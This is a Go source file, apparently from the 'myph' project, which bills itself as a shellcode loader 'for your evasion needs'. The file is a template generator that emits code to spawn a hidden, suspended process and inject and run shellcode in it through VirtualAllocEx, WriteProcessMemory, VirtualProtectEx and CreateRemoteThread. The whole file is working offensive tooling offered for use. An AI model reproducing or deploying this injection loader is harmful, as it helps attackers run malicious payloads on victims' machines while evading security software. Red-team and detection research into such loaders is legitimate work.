myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
createRemoteThread.go (3001B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type CRTTemplate struct{}
      9 
     10 func (t CRTTemplate) Import() string {
     11 	return fmt.Sprintf(`
     12 import (
     13     "syscall"
     14     "unsafe"
     15 )
     16 `)
     17 }
     18 
     19 func (t CRTTemplate) Const() string {
     20 	return fmt.Sprintf(`
     21 const (
     22     MEM_COMMIT                = 0x1000
     23     MEM_RESERVE               = 0x2000
     24     PAGE_READWRITE            = 0x4
     25     PAGE_EXECUTE_READ         = 0x20
     26     PAGE_EXECUTE_READWRITE    = 0x40
     27     CREATE_SUSPENDED          = 0x4
     28     CREATE_NO_WINDOW          = 0x8000000
     29 )
     30 
     31 var (
     32     kernel32            = syscall.MustLoadDLL("kernel32.dll")
     33 
     34     VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
     35     VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
     36     WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
     37     CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
     38 )
     39 `)
     40 }
     41 
     42 func (t CRTTemplate) Init() string {
     43 	return fmt.Sprintf(`
     44 func loadProcess(target string) *syscall.ProcessInformation {
     45     var si syscall.StartupInfo
     46 	var pi syscall.ProcessInformation
     47 
     48 	commandLine, err := syscall.UTF16PtrFromString(target)
     49 	if err != nil {
     50 		panic(err)
     51 	}
     52 
     53     err = syscall.CreateProcess(
     54 		nil,
     55 		commandLine,
     56 		nil,
     57 		nil,
     58 		false,
     59 		CREATE_SUSPENDED | CREATE_NO_WINDOW,
     60 		nil,
     61 		nil,
     62 		&si,
     63 		&pi,
     64     ); if err != nil {
     65 		panic(err)
     66 	}
     67 
     68 	return &pi
     69 }
     70 `)
     71 }
     72 
     73 func (t CRTTemplate) Process() string {
     74 	return fmt.Sprintf(`
     75     /* spawn target process */
     76     process := loadProcess("__PROCESS__")
     77     oldProtectCfg := PAGE_READWRITE
     78 
     79      /* allocating the appropriate amount of memory */
     80     baseAddr, _, _ := VirtualAllocEx.Call(
     81         uintptr(process.Process),
     82         0,
     83         uintptr(len(shellcode)),
     84         MEM_COMMIT | MEM_RESERVE,
     85         PAGE_READWRITE,
     86     )
     87 
     88     /* overwriting process memory with our shellcode */
     89     _, _, _ = WriteProcessMemory.Call(
     90         uintptr(process.Process),
     91         baseAddr,
     92         uintptr(unsafe.Pointer(&shellcode[0])),
     93         uintptr(len(shellcode)),
     94         0,
     95     )
     96 
     97     /* changing permissions for our memory segment */
     98     _, _, _ = VirtualProtectEx.Call(
     99         uintptr(process.Process),
    100         baseAddr,
    101         uintptr(len(shellcode)),
    102         PAGE_EXECUTE_READ,
    103         uintptr(unsafe.Pointer(&oldProtectCfg)),
    104     )
    105 
    106     /* load remote thread */
    107     _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
    108 `)
    109 }
    110 
    111 func (t CRTTemplate) GetTemplate(targetProcess string) string {
    112 	var template = `
    113 package main
    114 
    115 __IMPORT__STATEMENT__
    116 
    117 __CONST__STATEMENT__
    118 
    119 __IMPORT__INIT__	
    120 
    121 func ExecuteOrderSixtySix(shellcode []byte) {
    122 
    123 __IMPORT__PROCESS__
    124 
    125 }
    126 `
    127 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
    128 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
    129 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
    130 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
    131 
    132 	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
    133 }